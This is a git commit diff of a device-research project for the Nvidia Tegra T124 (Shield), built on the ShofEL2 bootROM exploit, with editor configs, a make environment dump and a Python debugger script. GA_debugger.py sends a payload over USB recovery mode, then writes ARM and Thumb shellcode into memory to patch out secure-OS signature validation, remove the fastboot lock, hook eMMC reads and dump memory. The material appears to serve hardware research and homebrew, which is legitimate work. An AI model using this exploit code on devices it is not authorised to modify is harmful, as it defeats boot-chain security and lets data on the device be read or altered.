Initial commit

This commit is contained in:
Eljakim Herrewijnen 2025-01-03 17:00:57 +01:00
commit a2e48e0e5f
80 changed files with 4961 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@ -0,0 +1,4 @@
venv/
__pycache__/
bin/
dump/

1
.vscode/configurationCache.log vendored Normal file
View File

@ -0,0 +1 @@
{"buildTargets":[],"launchTargets":[],"customConfigurationProvider":{"workspaceBrowse":{"browsePath":[],"compilerArgs":[]},"fileIndex":[]}}

6
.vscode/dryrun.log vendored Normal file
View File

@ -0,0 +1,6 @@
make --dry-run --always-make --keep-going --print-directory
make: Entering directory '/home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python'
make: Leaving directory '/home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python'
make: *** No targets specified and no makefile found. Stop.

57
.vscode/launch.json vendored Normal file
View File

@ -0,0 +1,57 @@
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Run exploit",
"type": "python",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"args": ["ShofEL2-for-T124/payload.bin"]
},
{
"name": "Prepare for GA(Thumb)",
"type": "python",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"args": ["--ga", "/home/eljakim/Source/ghidra_assistent/source/utils/debugger/remote_shellcode/bin/nvidia_shield_t/debugger.bin"]
},
{
"name": "Prepare for GA(ARM)",
"type": "python",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"args": ["--ga_arm", "../../../ghidra_assistent/source/utils/debugger/remote_shellcode/bin/nvidia_shield/debugger.bin"]
},
{
"name": "Run debugger (CONCRETE)",
"type": "python",
"request": "launch",
"program": "GA_debugger.py",
"console": "integratedTerminal",
"justMyCode": false
},
{
"name": "Emulate BootROM",
"type": "python",
"request": "launch",
"program": "partial_emulation.py",
"console": "integratedTerminal",
"justMyCode": false
},
{
"name": "Inspect HWIO",
"type": "python",
"request": "launch",
"program": "inspect_hwio.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["bin/t124_brom_hwio.pickle"]
}
]
}

8
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,8 @@
{
"files.associations": {
"mem_dumper_usb_server.h": "c",
"types.h": "c",
"payload.h": "c",
"t124.h": "c"
}
}

311
.vscode/targets.log vendored Normal file
View File

@ -0,0 +1,311 @@
make all --print-data-base --no-builtin-variables --no-builtin-rules --question
make: *** No rule to make target 'all'. Stop.
# GNU Make 4.2.1
# Built for x86_64-pc-linux-gnu
# Copyright (C) 1988-2016 Free Software Foundation, Inc.
# License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
# This is free software: you are free to change and redistribute it.
# There is NO WARRANTY, to the extent permitted by law.
# Make data base, printed on Sat Aug 13 17:37:07 2022
# Variables
# 'override' directive
GNUMAKEFLAGS :=
# automatic
<D = $(patsubst %/,%,$(dir $<))
# automatic
?F = $(notdir $?)
# environment
DESKTOP_SESSION = i3
# default
.SHELLFLAGS := -c
# environment
XDG_SESSION_CLASS = user
# environment
XDG_SESSION_TYPE = x11
# automatic
?D = $(patsubst %/,%,$(dir $?))
# environment
GRADLE_HOME = /opt/gradle/gradle-7.4.2
# automatic
@D = $(patsubst %/,%,$(dir $@))
# environment
XAUTHORITY = /run/user/1000/gdm/Xauthority
# environment
GDMSESSION = i3
# default
MAKE_VERSION := 4.2.1
# makefile
CURDIR := /home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python
# makefile
SHELL = /bin/sh
# environment
VTE_VERSION = 6003
# environment
VSCODE_NLS_CONFIG = {"locale":"en-us","availableLanguages":{},"_languagePackSupport":true}
# environment
_ = /usr/bin/code
# environment
XDG_CONFIG_DIRS = /etc/xdg/xdg-i3:/etc/xdg
# makefile
MAKEFILE_LIST :=
# automatic
@F = $(notdir $@)
# environment
USERNAME = eljakim
# environment
MAKELEVEL := 0
# environment
MANDATORY_PATH = /usr/share/gconf/i3.mandatory.path
# environment
XDG_DATA_DIRS = /usr/share/i3:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
# environment
DBUS_SESSION_BUS_ADDRESS = unix:path=/run/user/1000/bus
# environment
REVERSEENV = /home/eljakim//ReverseEngineering/
# environment
LC_NAME = nl_NL.UTF-8
# environment
VSCODE_CWD = /home/eljakim/Source/ghidra_assistent/source/documentation/readthedocs
# default
MAKE_HOST := x86_64-pc-linux-gnu
# environment
PATH = /home/eljakim//ToolchainEnvironment//personal_scripts/:/home/eljakim//ToolchainEnvironment//platform-tools/:/home/eljakim//ReverseEngineering//current_ghidra:/home/eljakim//ToolchainEnvironment//personal_scripts/:/home/eljakim//ToolchainEnvironment//platform-tools/:/home/eljakim//ReverseEngineering//current_ghidra:/home/eljakim/.local/bin:/opt/gradle/gradle-7.4.2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/bin:/usr/local/go/bin:/bin:/usr/local/go/bin
# environment
GPG_AGENT_INFO = /run/user/1000/gnupg/S.gpg-agent:0:1
# environment
LSCOLORS = Gxfxcxdxbxegedabagacad
# environment
XDG_RUNTIME_DIR = /run/user/1000
# environment
ELECTRON_RUN_AS_NODE = 1
# default
.FEATURES := target-specific order-only second-expansion else-if shortest-stem undefine oneshell archives jobserver output-sync check-symlink load
# environment
ELECTRON_NO_ATTACH_CONSOLE = 1
# environment
LS_COLORS = rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
# environment
XDG_SESSION_DESKTOP = i3
# environment
SSH_AUTH_SOCK = /tmp/ssh-Jk9OKLnxmczf/agent.2643
# environment
TOOLCHAINENV = /home/eljakim//ToolchainEnvironment/
# environment
DISPLAY = :1
# environment
TMUX_PANE = %4
# environment
PWD = /home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python
# default
.LOADED :=
# environment
XDG_SEAT = seat0
# environment
SSH_AGENT_PID = 2705
# environment
ORIGINAL_XDG_CURRENT_DESKTOP = i3
# environment
GTK_MODULES = gail:atk-bridge
# environment
VSCODE_AMD_ENTRYPOINT = vs/workbench/api/node/extensionHostProcess
# environment
HOME = /home/eljakim
# environment
VSCODE_CLI = 1
# environment
VSCODE_CODE_CACHE_PATH = /home/eljakim/.config/Code/CachedData/3b889b090b5ad5793f524b5d1d39fda662b96a2a
# environment
TMUX_PLUGIN_MANAGER_PATH = /home/eljakim/.tmux/plugins/
# environment
LOGNAME = eljakim
# environment
APPLICATION_INSIGHTS_NO_DIAGNOSTIC_CHANNEL = 1
# automatic
+F = $(notdir $+)
# environment
ZSH = /home/eljakim/.oh-my-zsh
# environment
VSCODE_HANDLES_UNCAUGHT_ERRORS = true
# automatic
^D = $(patsubst %/,%,$(dir $^))
# environment
XDG_VTNR = 2
# environment
REVERSEENVGHIDRADIR = /home/eljakim//ReverseEngineering//current_ghidra
# environment
LC_TIME = nl_NL.UTF-8
# environment
COLORTERM = truecolor
# default
MAKE = $(MAKE_COMMAND)
# default
MAKECMDGOALS := all
# environment
SHLVL = 2
# environment
XDG_SESSION_ID = 2
# environment
USER = eljakim
# environment
LC_MONETARY = nl_NL.UTF-8
# makefile
.DEFAULT_GOAL :=
# environment
XDG_CURRENT_DESKTOP = i3
# environment
LIBVIRT_DEFAULT_URI = qemu:///system
# environment
LESS = -R
# automatic
%D = $(patsubst %/,%,$(dir $%))
# environment
LC_TELEPHONE = nl_NL.UTF-8
# environment
I3SOCK = /run/user/1000/i3/ipc-socket.2643
# default
MAKE_COMMAND := make
# environment
OLDPWD = /home/eljakim/Source/ghidra_assistent/documentation
# default
.VARIABLES :=
# automatic
*F = $(notdir $*)
# environment
VSCODE_IPC_HOOK = /run/user/1000/vscode-7bea0092-1.69.2-main.sock
# makefile
MAKEFLAGS = pqrR
# environment
MFLAGS = -pqrR
# automatic
*D = $(patsubst %/,%,$(dir $*))
# environment
WORKINGENV = /home/eljakim/
# automatic
+D = $(patsubst %/,%,$(dir $+))
# environment
TMUX = /tmp//tmux-1000/default,3445,4
# environment
GDK_BACKEND = x11
# environment
LC_PAPER = nl_NL.UTF-8
# environment
NO_AT_BRIDGE = 1
# automatic
%F = $(notdir $%)
# environment
QT_ACCESSIBILITY = 1
# environment
DEFAULTS_PATH = /usr/share/gconf/i3.default.path
# default
MAKEFILES :=
# environment
LC_NUMERIC = nl_NL.UTF-8
# automatic
<F = $(notdir $<)
# environment
LC_MEASUREMENT = nl_NL.UTF-8
# environment
PAGER = less
# environment
LC_ALL = C
# environment
GNOME_TERMINAL_SCREEN = /org/gnome/Terminal/screen/fa2cf90b_0839_4ca4_95cd_5a4da07a6d90
# automatic
^F = $(notdir $^)
# environment
GNOME_TERMINAL_SERVICE = :1.27
# default
SUFFIXES :=
# environment
CHROME_DESKTOP = code-url-handler.desktop
# environment
WINDOWPATH = 2
# default
.INCLUDE_DIRS = /usr/include /usr/local/include /usr/include
# environment
LC_IDENTIFICATION = nl_NL.UTF-8
# default
.RECIPEPREFIX :=
# environment
LC_ADDRESS = nl_NL.UTF-8
# environment
LANG = C
# environment
TERM = screen
# environment
VSCODE_PID = 82455
# variable set hash-table stats:
# Load=113/1024=11%, Rehash=0, Collisions=19/135=14%
# Pattern-specific Variable Values
# No pattern-specific variable values.
# Directories
# . (device 64769, inode 92671944): 13 files, no impossibilities.
# 13 files, no impossibilities in 1 directories.
# Implicit Rules
# No implicit rules.
# Files
# Not a target:
all:
# Command line target.
# Implicit rule search has been done.
# File does not exist.
# File has not been updated.
# Not a target:
Makefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# Not a target:
makefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# Not a target:
.DEFAULT:
# Implicit rule search has not been done.
# Modification time never checked.
# File has not been updated.
# Not a target:
GNUmakefile:
# Implicit rule search has been done.
# File does not exist.
# File has been updated.
# Failed to be updated.
# files hash-table stats:
# Load=6/1024=1%, Rehash=0, Collisions=0/15=0%
# VPATH Search Paths
# No 'vpath' search paths.
# No general ('VPATH' variable) search path.
# strcache buffers: 1 (0) / strings = 21 / storage = 226 B / avg = 10 B
# current buf: size = 8162 B / used = 226 B / count = 21 / avg = 10 B
# strcache performance: lookups = 24 / hit rate = 12%
# hash-table stats:
# Load=21/8192=0%, Rehash=0, Collisions=1/24=4%
# Finished Make data base on Sat Aug 13 17:37:07 2022

493
GA_debugger.py Normal file
View File

@ -0,0 +1,493 @@
from ghidra_assistant.utils.utils import *
from ghidra_assistant.utils.archs.asm_utils import *
from ghidra_assistant.concrete_device import *
from qiling.const import QL_ARCH
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm_thumb import GA_arm_thumb_debugger
from exploit import *
from keystone import *
from t210 import *
from hw_in_the_loop import *
from partial_emulation import *
ks_arm = Ks(KS_ARCH_ARM, KS_MODE_ARM)
ks_thumb = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
logger = setup_logger("") # get root logger
logger.setLevel(logging.DEBUG)
def device_setup(concrete_device : "ConcreteDevice"):
'''
This function has to return a device object that handles the communication between the host and the device.
Must implement at least the following:
* read
* write
In this function you can also setup known values that the concrete debugger will use, like the target architecture and locations of the debugger and the vbar
'''
#Setup architecture
concrete_device.arch = QL_ARCH.ARM
concrete_device.ga_debugger_location = 0x4000E000
concrete_device.ga_vbar_location = 0x40011000
concrete_device.ga_storage_location = 0x40013000
concrete_device.ga_stack_location = 0x40014000
rcm = TegraRCM()
rcm.dev.read_chip_id()
# file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield/debugger.bin"
file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger.bin"
# file = "/tmp/gardenia/build/bootloader"
rcm.send_payload(file, thumb=1)
concrete_device.arch_dbg = GA_arm_thumb_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
assert(rcm.dev.read(0x100) == b"GiAs")
concrete_device.arch_dbg.read = rcm.dev.read
concrete_device.arch_dbg.write = rcm.dev.write
#Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions()
# And add custom functions
def read_u32(address):
return u32(concrete_device.memdump_region(address, 4))
def write_u32(address, value):
concrete_device.memwrite_region(address, p32(value))
def read_str(address):
d = b""
while True:
c = concrete_device.memdump_region(address, 1)
if c == b"\x00":
break
d += c
address += 1
return d
concrete_device.read_u32 = read_u32
concrete_device.write_u32 = write_u32
concrete_device.read_str = read_str
concrete_device.debugger_main = concrete_device.get_debugger_location()
return rcm
def test_arm_asm(cd : "ConcreteDevice"):
cd.arch_dbg.state.auto_sync = False
shellcode = f"""
.align 1
start:
ldr r0, =addr_some_addr
ldr r1, =0x1000
ldr r2, =addr_debugger_storage
ldr r4, =addr_usb_write
bx r4
bx lr
ldr r0, =addr_debugger_main
bx r0
b flush
ldr r0, =addr_debugger_storage
ldr r1, =0x77
ldr r2, =0x77
str r0, [r0]
str r1, [r0, #4]
str r2, [r0, #8]
bx lr
flush:
@ Flush the instruction cache
@ mov r0, #0 @ Select the instruction cache
@ mcr p15, 0, r0, c7, c5 @ Invalidate the entire instruction cache
@ Flush the data cache
@ mov r0, #0 @ Select the data cache
@ mcr p15, 0, r0, c7, c6 @ Invalidate the entire data cache
bx lr
ldr r0, =addr_debugger_main
bx r0
.align 3
addr_debugger_storage: .word 0x40013000
addr_usb_write: .word 0x001065C0
addr_rom_start: .word 0x00100000
addr_debugger_main : .word 0x4000E000
addr_some_addr: .word 0x40020000
.align 1
addr_debugger_main_t: .word 0x4000E001
"""
asm = ks_arm.asm(shellcode, as_bytes=True)[0]
cd.memwrite_region(0x40013000 + 0x2000, asm)
cd.jump_to(0x40013000 + 0x2000) #branch arm
try:
r = cd.read(0x200)
pass
except Exception as e:
print(str(e))
pass
pass
def dump_full_dram_context(cd : "ConcreteDevice"):
# BootROM
rom = cd.memdump_region(0x100000, 0x17000)
imem = cd.memdump_region(0x40000000, 0xfc00)
SETUP_SDRAM = 0x00101a14
def attempt_boot_bct(cd : "ConcreteDevice"):
dat = open("bin/imem_good.bin", 'rb').read()
cd.memwrite_region(0x40000000, dat[:0xe000])
cd.write(b"MAIN")
cd.arch_dbg.state.auto_sync = False
cd.arch_dbg.state.print_ctx(print)
dump_full_dram_context(cd)
jump_stub = f"""
.align 1
ldr r0, addr_debugger_main_t
bx r0
.align 4
addr_debugger_main_t: .word 0x4000E001
"""
jump_stub = ks_thumb.asm(jump_stub, as_bytes=True)[0]
cd.memwrite_region(SETUP_SDRAM, jump_stub)
# Test dumb restore_and_jump
# cd.arch_dbg.state.R0 = 0x00101c18
# cd.arch_dbg.state.R3 = 0x4000E001
def test_restore_and_jump():
cd.arch_dbg.state.LR = 0x4000E001
cd.restore_stack_and_jump(0x00101c28 + 1) # Some dumb function that sets r0
assert cd.read(100) == b"GiAs"
cd.arch_dbg.state.LR = 0x4000E001
cd.arch_dbg.state.R0 = 0x00101c18
cd.restore_stack_and_jump(SETUP_SDRAM + 1)
cd.jump_to(0x00101c28 + 1)
pass
CLK_RST_CONTROLLER_MISC_CLK_ENB = 0x48
IROM_LEN = 0x00010000
def hw_init(cd : "ConcreteDevice"):
# Get chip id
# 0x14017
cd.arch_dbg.state.print_ctx(print)
def NvBootUtilGetTimeUS():
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
cd.arch_dbg.restore_stack_and_jump(0x00100c7e | 1)
assert cd.read(4) == b'GiAs', "Debugger crashed?"
return cd.arch_dbg.state.R0
chip_id = u32(cd.memdump_region(mmio_reg32(BASE_ADDRESSES['APB_MISC_BASE'], APB_MISC_GP_HIDREV), 4))
chip_version = (chip_id >> 4) & 0xF
def clock_enable_fuse():
addr = mmio_reg32(BASE_ADDRESSES['CLOCK_BASE'], CLK_RST_CONTROLLER_MISC_CLK_ENB)
val = cd.read_u32(addr)
enable = 1
cd.write_u32(addr, val & 0xEFFFFFFF | ((enable & 1) << 28))
# clock_enable_fuse()
# Clear tz ram,
# cd.memwrite_region(BASE_ADDRESSES['TZRAM_BASE'], b"\x00" * BASE_ADDRESSES['TZRAM_SIZE'])
# TODO
# clock_enable_se
# clock_enable_fuse
# fuse_disable_program
# mc_enable
# _config_oscillators
# _config_gpios
# init_sdram
def setup_sdram():
nvbootcontext = 0x40002404
cd.arch_dbg.state.R0 = nvbootcontext
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x00101a14 | 1)
pass
# setup_sdram()
def relocate_debugger():
'''
Works, relocates the debugger to the end of IRAM
'''
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
cd.memwrite_region(0x4003c000, reloc)
cd.restore_stack_and_jump(0x4003c000 | 1)
assert cd.read(0x100) == b"GiAs"
# And relocate the debugger
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
relocate_debugger()
cd.memdump_region(0x40020000, 0x100)
# setup_sdram()
def nvbootmain():
# cd.arch_dbg.state.R1 = 0x40000000
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x00101318 | 1)
pass
# nvbootmain()
NVCOLDBOOT = 0x00101ad2
def nvbootcoldboot():
'''
Works, attempts to load the BCT from the EMMC
'''
nvbootinfo = 0x40000000
cd.write_u32(nvbootinfo, 0x400001)
cd.write_u32(nvbootinfo + 4, 0x400001)
cd.write_u32(nvbootinfo + 8, 0x400001)
# cd.write_u32(nvbootinfo + 0xc, 0x00000001) # Boot type, set later also
cd.write_u32(nvbootinfo + 0x10, 5) #Irom
# cd.write_u32(nvbootinfo + 0x10, 9)
def NvBootClocksGetOscFreq():
return cd.read_u32(cd.read_u32(0x00100214) + 0x10) >> 0x1c
cd.write_u32(nvbootinfo + 0x28, NvBootClocksGetOscFreq()) #Irom
cd.write_u32(nvbootinfo + 0xf0, nvbootinfo + 256) # End of boot info
# Move debugger in r0, to jump to that on failure
cd.arch_dbg.state.R0 = 0x40020000 # cd.ga_debugger_location | 1
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(NVCOLDBOOT | 1)
assert cd.read(4) == b"GiAs", "Failed to jump to debugger"
# BCT should be loaded at 0x40020000
nvbootcoldboot()
# dump_emmc()
boot_to = 0x0
if cd.arch_dbg.state.R0 == 0:
# 0x40020000 should point to 0x4000e000
boot_to = cd.read_u32(0x40020000)
assert boot_to == 0x4000e000, "BCT not loaded correctly?"
else:
# BCT not loaded, fix this
boot_to = 0x4000e000
imem = open("bin/imem_bct", 'rb').read()
cd.memwrite_region(0x40000000, imem)
# Setup sdram?
# cd.arch_dbg.state.R0 = 0x40002404
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
# cd.restore_stack_and_jump(0x00101a14 | 1)
# pass
# NvBootSdramQueryTotalSize
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
# cd.restore_stack_and_jump(0x00105dcc | 1)
# pass
#nvloadbootloader
# cd.arch_dbg.state.R0 = 0x40002404
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
# cd.restore_stack_and_jump(0x00104822 | 1)
# pass
# Apply patches
# patch validation of secure os
stub = f"""
mov r0, 0x0
bx lr
"""
cd.memwrite_region(0x4001a2c0, ks_thumb.asm(stub, as_bytes=True)[0])
jump_stub = f"""
ldr r12, addr_debugger_main_t
bx r12
.align 4
addr_debugger_main_t: .word {hex(cd.ga_debugger_location | 1)}
"""
jump_stub = ks_arm.asm(jump_stub, as_bytes=True)[0]
NVBOOTSDMMCREADPAGE = 0x4001d1dc
emmc_dump_patch = cd.memdump_region(NVBOOTSDMMCREADPAGE, 0x20)
def dump_emmc_patches():
cd.memwrite_region(NVBOOTSDMMCREADPAGE, jump_stub)
# Add this to enable emmc hooks
# dump_emmc_patches()
# Setup code for log hook
cd.memwrite_region(0x4001cadc, jump_stub)
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(boot_to)
while True:
try:
r = cd.read(0x100)
if cd.arch_dbg.state.LR == NVBOOTSDMMCREADPAGE:
# Try dumping the emmc
cd.memwrite_region(NVBOOTSDMMCREADPAGE, emmc_dump_patch)
print(f"block={cd.arch_dbg.state.R0} page={cd.arch_dbg.state.R1} buffer={hex(cd.arch_dbg.state.R2)}")
def dirty_emmc_read(block, page, target_buffer):
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.arch_dbg.state.R0 = block
cd.arch_dbg.state.R1 = page
cd.arch_dbg.state.R2 = target_buffer
cd.arch_dbg.state.R3 = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(NVBOOTSDMMCREADPAGE | 1)
resp = cd.read(0x200)
pass
def dump_emmc():
out_buf = 0x40020000
dirty_emmc_read(0, 0, out_buf)
dat = cd.memdump_region(out_buf, 512)
pass
dump_emmc()
pass
elif cd.arch_dbg.state.R0 == 0x77:
# In nvtloadbinary
dat = open("bin/bootloader.bin", 'rb').read()
cd.memwrite_region(0x83d88000, dat[:0x90000])
cd.arch_dbg.state.R0 = 0
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
continue
elif cd.arch_dbg.state.R0 == 0x76:
cd.arch_dbg.state.R0 = 0
cd.restore_stack_and_jump(0x4000e188)
continue
else:
# In log
msg = cd.read_str(cd.arch_dbg.state.R0)
# Parse arguments, TODO
args = msg.count(b"%")
if b"Bootloader downloaded" in msg:
# Lets try dump the correct bootloader
pass
elif b"corrupted" in msg or b"GPT failed" in msg:
# Restore bootloader
print(msg)
dat = open("bin/bootloader.bin", 'rb').read()
cd.memwrite_region(0x83d88000, dat[:0x90000])
cd.memwrite_region(0x83d90260, ks_thumb.asm("mov r0, r0", as_bytes=True)[0] * 2)
# cd.memwrite_region(0x83e130e6, b"\x00") # Fastboot unlock?
# Remove fastboot lock
shellcode = f"""
mov r0, 0x1
bx lr
"""
cd.memwrite_region(0x83dd0eb0, ks_arm.asm(shellcode, as_bytes=True)[0])
# Jump to bootloader loaded
cd.arch_dbg.state.R0 = 0
cd.arch_dbg.state.LR = 0x40018ea0
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
continue
elif b"WB0" in msg:
cd.arch_dbg.state.print_ctx(print)
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x4000e188)
continue
elif b"Sdram initialization" in msg:
pass
print(f"{hex(cd.arch_dbg.state.LR)}:{msg}")
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
except Exception as e:
pass
# Jump in bootloader
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(boot_to) # ARM code
pass
# Continue next of init fase
cd.arch_dbg.state.print_ctx(print)
cd.arch_dbg.state.R0 = 0 # Set as success
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x00101b76 | 1)
pass
def NvBootMainSecureRomExit():
cd.arch_dbg.state.R0 = 0 #warmboot
cd.arch_dbg.state.R1 = boot_to
cd.arch_dbg.state.R2 = 0x0 # Security bitfield
cd.arch_dbg.state.R3 = 0x0 # debug bitfield
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x0010121e | 1)
NvBootMainSecureRomExit()
def NvBootArcDisable():
cd.arch_dbg.state.R0 = boot_to
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(0x0010166e | 1)
cd.read(4)
NvBootArcDisable()
pass
# cd.memwrite_region(BASE_ADDRESSES['IROM_BASE'], b"\x00" * 0xc000)#)open("imem_good.bin", 'rb').read()[:IROM_LEN]
def resetfullchip():
cd.R0 = BASE_ADDRESSES['IROM_BASE']
cd.R1 = BASE_ADDRESSES['IROM_BASE']
cd.R2 = BASE_ADDRESSES['IROM_BASE']
# cd.restore_stack_and_jump(0x00100624 | 1)
cd.restore_stack_and_jump(0x0010122c | 1)
pass
# coldboot()
pass
def relocate_debugger(cd : ConcreteDevice):
'''
Works, relocates the debugger to the end of IRAM
'''
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
cd.memwrite_region(0x4003c000, reloc)
cd.restore_stack_and_jump(0x4003c000 | 1)
assert cd.read(0x100) == b"GiAs"
# And relocate the debugger
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
def device_main(cd : "ConcreteDevice", args):
'''
Main function that will do execution for the device.
'''
cd.test_connection()
partial_emu = False
if partial_emu:
relocate_debugger(cd)
do_partial_emu(cd)
else:
hw_init(cd)
attempt_boot_bct(cd)
test_arm_asm(cd)
pass
if __name__ == "__main__":
logger = setup_logger("DEBUGGER")
logger.setLevel(logging.INFO)
cd = ConcreteDevice(None, False)
cd.dev = device_setup(cd)
cd.device_main = device_main
cd.device_main(cd, [])

39
Readme.md Normal file
View File

@ -0,0 +1,39 @@
# T124 Gupje
The exploitation work for this device is done by [LordRafa](https://github.com/LordRafa)
To build gupje, see the readme in the gupje_t/ folder.
## Usage
This project assumes the following directory structure:
```bash
Source/gupje  ⬡ v18.12.1   main ✘ 
$ tree -L 3
.
├── [..]
├── debugger_archs
│   ├── ga_arm64.h
│   ├── ga_arm.h
│   └── ga_arm_thumb.h
├── debugger.c
├── devices
│   ├── base_device
│   ├── nvidia_shield
│   │   ├── [..]
│   │   ├── gupje_t
│   │   ├── [..]
│   ├── rpi4_gupje
├── docs
│   ├── [..]
├── [..]
```
The root folder is the [gupje](https://github.com/EljakimHerrewijnen/Gupje) project, which contains this folder in the ``devices/`` subdirectory.
Run the exploit code with a *target* binary to run on the device.
```bash
python3 exploit.py --ga ../bin/nvidia_shield_t/debugger.bin
```

9
ShofEL2-for-T124/.gitignore vendored Normal file
View File

@ -0,0 +1,9 @@
*.bin
*.elf
build/
!*.keep
*.d
*.idb
.*.swp
*.o
shofel2_t124

27
ShofEL2-for-T124/LICENSE Normal file
View File

@ -0,0 +1,27 @@
// Copyright (c) 2020 lordrafa. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither my name nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
